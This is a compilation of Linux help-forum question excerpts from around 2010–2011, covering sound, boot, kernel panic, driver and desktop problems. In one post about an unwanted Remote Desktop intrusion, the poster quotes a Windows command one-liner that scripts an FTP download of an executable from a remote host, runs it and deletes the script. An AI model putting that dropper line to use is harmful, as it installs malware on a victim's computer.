Ubuntu :: Sound Doesn't Switch To Headphones?
Oct 7, 2010I have a laptop computer running Ubuntu 10.04 LTS. When headphones are inserted into the headphones port, sound continues to come out the internal speakers, and not through the headphones.
This works fine in Windows 7, so the hardware appears to be good. This did work properly when we first installed Ubuntu - it spontaneously stopped working one night, so I'm not sure what we did to make it stop acting normally.
I have run "alsamixer" in the terminal, and toggled every mute and volume bar there is (there are only 4). The laptop is a Toshiba Satellite T135D-S1324.

OpenSUSE Multimedia :: Switch Sound Device From Command Line In KDE
Jan 30, 2010my computer is connected to my TV through HDMI using ATI HDMI output. I have written a small script to switch display from monitor to TV when a want to watch a DVD, but I didn't find how to switch sound from speakers to HDMI in command line. For the moment I have to open KDE system settings -> Multimedia and move sound devices by hand.

Nov 5, 2010With OpenSuSE 11.2, I would have a guest account running skype, and a media account running mythtv (both users logged in at the same time using switch user). I had skype on auto answer incoming calls, and I remember watching a movie when I suddenly heard my Dad's voice appear calling my name. That was cool!
Now that I'm using OpenSuSE 11.3 (both were using KDE), skype only plays audio when that user's session is active. Switching to the media account will prevent skype from starting to play any sound. Switch back, sound is normal. If I remember correctly, now the skype audio cuts out as soon as I switch user.
I also have a tv capture card which only STARTS to captures analog audio when the media session is active, mythtv being run by the user media. Once the show is started to record with sound, we can switch users and the show continue to record with sound.
The only thing that should be configured differently from the default install is that I compiled mythtv (it wasn't available as an rpm when I upgraded to 11.3, and haven't bothered to check since).
Ubuntu Multimedia :: Sound Stops Working After 1-5 Mins Of Playing Sound?
Dec 14, 2010Playing a song works at first; then it quits after 1-5 minutes. If you select a different output device, it will work for another 1-5 minutes, but switching back to an already used up device will not play sound. Running 'sudo killall pulseaudio' resets everything and each output device works for another 1-5 minutes. This is on on 9.10.

Ubuntu / Apple :: Sound Stopped Working, IEC958 Light Turns On Instead Of Sound Playing?
Jan 30, 2011The sound stopped working on my Macbook Pro 1,1. It was working fine before, and I can't think of any changes I made that would make it stop working. I know it's not a hardware problem because the Apple sound plays when I turn on the computer. Everything is unmuted in ALSA Mixer. None of the hardware options in Sound Preferences produce sound. Plugging in headphones or speakers does not solve the problem. I'm using 10.10.One curiosity: Whenever I do something that would normally cause sound to play, the optical audio red light in the headphone jack turns on, but no sound plays.

Ubuntu :: 'switch Between Windows' Shortcut Not Working?
May 9, 2011I somehow managed to screw up my 'switch between windows shortcut' when changing the settings for compiz. Now I cannot get it to work at all, despite trying to solutions on this and other forums. I removed compiz with the software center and my alt-tab shortcut still didn't work--although it IS enabled and set correctly in the System Settings > Keyboard Shortcuts menu. I reset the alt-tab combo so something else (alt-space, which works for its normal setting of bringing down the window's dropdown menu) but it still did not work to switch between windows.

OpenSUSE Hardware :: Wireless Switch Not Working?
Sep 11, 2011I have a Fujitsu-Amilo series Laptop that I am trying to enable the wireless on. The Wireless button needs acerhk compiled from source, but I have been unsuccessful in getting it to compile. This is the only way that I have gotten wireless to previously work on this laptop with any Linux distro. This laptop absolutely requires acerhk or else I will get the following in dmesg:
[ 9.329495] ipw2100: Detected Intel PRO/Wireless 2100 Network Connection
[ 9.329520] ipw2100 0000:02:06.0: firmware: requesting ipw2100-1.3.fw
[ 9.596922] eth0: Radio is disabled by RF switch.
The only way to prevent this is to install the acerhk module driver from Acer Hotkey driver for Linux, but I have tried to compile it and it seemingly won't work.

Jan 8, 2011 I'm running through an Emacs tutorial and I was trying to figure out how to exchange CTRL and CAPSLOCK.
1. From the Emacs Wiki, i saw
Code:
As super-user:
$ loadkeys emacs
$ echo "loadkeys emacs" >> /etc/rc.d/rc.local
so, maybe stupidly I tried this. Which seems to have changed nothing.
so then I try
Code:
loadkeys -d
to try and get back to the default. Which doesn't seem to work. so then thinking i should reset everything, try to go in /usr/share/kbd/keymaps/i386/qwerty and do
Code:
loadkeys defkeymap.map.gz
Finally, I go into /etc/X11 and edit xorg.conf-vesa to uncomment
Code:
# If you'd like to switch the positions of your capslock and
# control keys, use:
#
Option "XkbOptions" "ctrl:swapcaps"
and restart.
To no avail...

OpenSUSE Install :: Bootloading With Attempted /Ubuntu Dual Boot ?
Jun 15, 2011So, with openSUSE 11.4 living happily on one hard drive (sda), I went and installed Ubuntu Natty on my computer's other drive (sdb.) I was under the impression that if I kept the installation contained entirely on the second drive, I could boot directly to it through bios, and not worry about bootloaders.
It seems that I was wrong.
When I try to boot to the hard drive w/ Ubuntu on it, nothing loads. The BIOS freezes at "Verifying DMI Pool..." I can still boot into my openSUSE install as normal, but its GRUB doesn't see the Ubuntu installation on the other hard drive. I tried using Super Grub Disk to boot the Ubuntu disk, and it's able to detect the Ubuntu OS, but goes into a kernel panic with the error message that VFS wasn't able to mount. When I've got my opensuse installation going, I can see the files and folders from the Ubuntu installation, and everything looks more or less normal.
General :: Initramfs - Attempted To Kill Init ?
Nov 10, 2010For a special purpose I needed a initramfs - that didn't work. So I reduced the initramfs setup to the simplest.
Mount the root and switch_root into it. But that didn't work either.
If I go with the init-script for the initramfs I posted below the system prints out the switch_root usage-text from busybox. But the syntax is right, ain't it?
When I use chroot instead of switch_root then it prints the usage-text of init before the kernel panic.
If I try with "/sbin/init 5" then, after a while the system reports "init: timeout opening/writing control channel /dev/initctl".
In the other cases I get the following error messages before the system hangs: "Kernel Panic", "Attempted to kill init", "init not tainted"
(With the init script below there is a error saying:"sh: can't access tty; job control turned off". I know why it's there - but don't know if it is connected to this problem.)
This information may be important:
- The machine boots from a usb-harddisk
- /sbin/init on the new root is available
- the system on newroot is sane and runs perfect standalone (without initramfs)
- the system on newroot uses baselayout-2 with openrc
- busybox is built as static binary
- busybox version is v1.15.3
Here is the relevant data:

Ubuntu Installation :: Attempted To Upgrade To 10.04 Through Update Manager - Computer Crashed
May 8, 2010So I attempted to Upgrade 2 days ago from 9.10 to 10.04. I started the upgrade and left my computer alone as it said it would take several hours. When I returned to check on it, It told me the the installation had failed and it was attempting to roll back to the previous installation. Afterward I couldn't access anything on my computer. I'd click a icon and it wouldn't do anything. I manually restarted it and was greeted with a message that it couldn't boot because there was no mount specified.
Since I had backed up all my files I tried to just reinstall ubuntu. However even after I reinstalled I'm greeted with the same message.
Ubuntu Security :: Unwanted Remote Desktop Access And Attempted Hack
Jul 20, 2010I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
Code:
%systemroot%system32cmd.exe
del eq&e
I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
Code:
%systemroot%system32cmd.exe
del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]
How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?
What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?
In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.
Multimedia :: Ubuntu 10.10 Won't Boot After Attempted Install Of ATI FGLRX Driver / Sort It?
Jan 17, 2011I'm running 10.10 from an 8GB USB flash drive with persistence to see if I can get it working the way I need it before I can completely transition from Windows. I have an onboard ATI Radeon HD3300 running dual monitors which is on the list of supported devices for the FGLRX driver package, but I've encountered multiple issues.
First, when I chose to activate it from the Add'l Drivers dialog, it gave an error: "SystemError: installArchives() failed". I found a forum where someone had suggested opening the Terminal and giving the following commands:sudo aticonfig --initialfollowed bysudo rebootWhen my system rebooted, the Ubuntu screen showed "Ubuntu 10.10" in a plain font instead of the Ubuntu graphical logo, and then it quickly displays an error in a dark-colored font and then the screen flickers several times before stopping at a full-screen terminal. I have never used Linux before, so I don't know any commands at all or even what to do from here. I just want the dual screens to work and have the correct resolution.
Am I going to have to format and reload my flash drive again?
Fedora :: Attempted To Create A New Java Project In Eclipse?
Jan 11, 2010I recently installed Fedora 12 and attempted to create a new java project in Eclipse.I used the 'eclipse' command in the terminal to start eclipse. It starts fine, however, there is no 'java project' option after choosing 'File->New Project'. Only CVS and General projects. I am not experienced enough in programming to understand the relevance/usage of either of these project modes, and only want to be able to write java programs in Eclipse.
Also, does the eclipse that is run from the terminal support c++ development? I have attempted to download eclipse for C++/C developers, but cannot get it to run. Which eclipse is running when I type 'eclipse' in the terminal? Is there a way to make it so I don't have to run this command from the terminal to load eclipse?

Jan 16, 2010i've been using ubuntu on my laptop for about a year now, but couldn't use linux on my desktop as my wireless adapter was never very well supported. well recently it's started working better, and rather than just putting ubuntu on i thought i'd try something different. i tried various kde based distros (madriva, fedora kde, kubuntu, chakra and others i can't think of right now) and found opensuse to be my favourite.the past week or so i've just been playing around, getting to know the little differences.i'm on call this weekend so i can't get drunk, so i thought i would waste a little time setting my desktop up a bit differently, and i've encountered a problem.
at first i wasn't sure what was wrong, i was playing around and next thing i knew i had crashed and couldn't log back in. i tried moving my .kde4 dir from a console login, but i still couldn't load my desktop, so i reinstalled.after my reinstall, i found that selecting a gl screensaver gave me the same problem (although this time at least moving/deleting my .kde4 folder allowed me to log in to a fresh desktop.i've done a bit of digging and found this. an lsmod | grep radeon gives me

Ubuntu Networking :: The Attempted Drag And Drop Is Ignored Copy And Paste Still Works Fine?
Jan 23, 2010I have been using Ubuntu 10.04 (32 bit) as a headless workstation, running a VNC screen. Worked perfectly for about 3 weeks, then suddenly, I lost the Drag and Drop capability, for all applications.For example: Dragging and dropping to move items on the desktop does not work. The item simply pops back to the original location.Dragging and dropping to move items from one folder to another does not work. Same behavior the item just pops back to the original location.Dragging and dropping Bookmarks in Firefox does not work. The attempted Drag and Drop is ignored.Copy and paste still works fine.The problem does NOT occur when using an attached monitor (primary display screen :0).After much Googling (including these forums), I suspected that the changed behavior was caused by an update (from Ubuntu Update Manager). I confirmed this with the following:
Reinstalled Ubuntu 10.04 fresh from the live cd.
Configured minimal networking and installed VNC server.
Tested Drag and drop -- works okay
Applied pending updates (116) from Ubuntu Update Manager
Tested Drag and drop -- not working
I am using vnc4server and openssh-server installed from the repositories using Synaptic.
Ubuntu Installation :: Error - Kernel Panic - Not Syncing: Attempted To Kill Init
Jun 8, 2011Today I was upgrading my netbook with Ubuntu 10.10 on it to 11.04 via the Update Manager. I got a few errors and the Update Manager seemed like it wasn't continuing, so decided to exit it. It didn't respond so after a while I decided to restart the netbook. However the on/off/standby/restart, etc. button in the top right wasn't responding either, so I decided to force a shutdown with the power button on my netbook. Now Ubuntu doesn't start up, and gives me an error along the lines of:
Kernel panic - not syncing: Attempted to kill init! Pid: 1, comm: init Not tainted 2.6.35-28-generic #50-Ubuntu Now could I in some way repair my Ubuntu installation while still keeping the files I already have on my computer? Maybe via booting from a flash drive or something...?
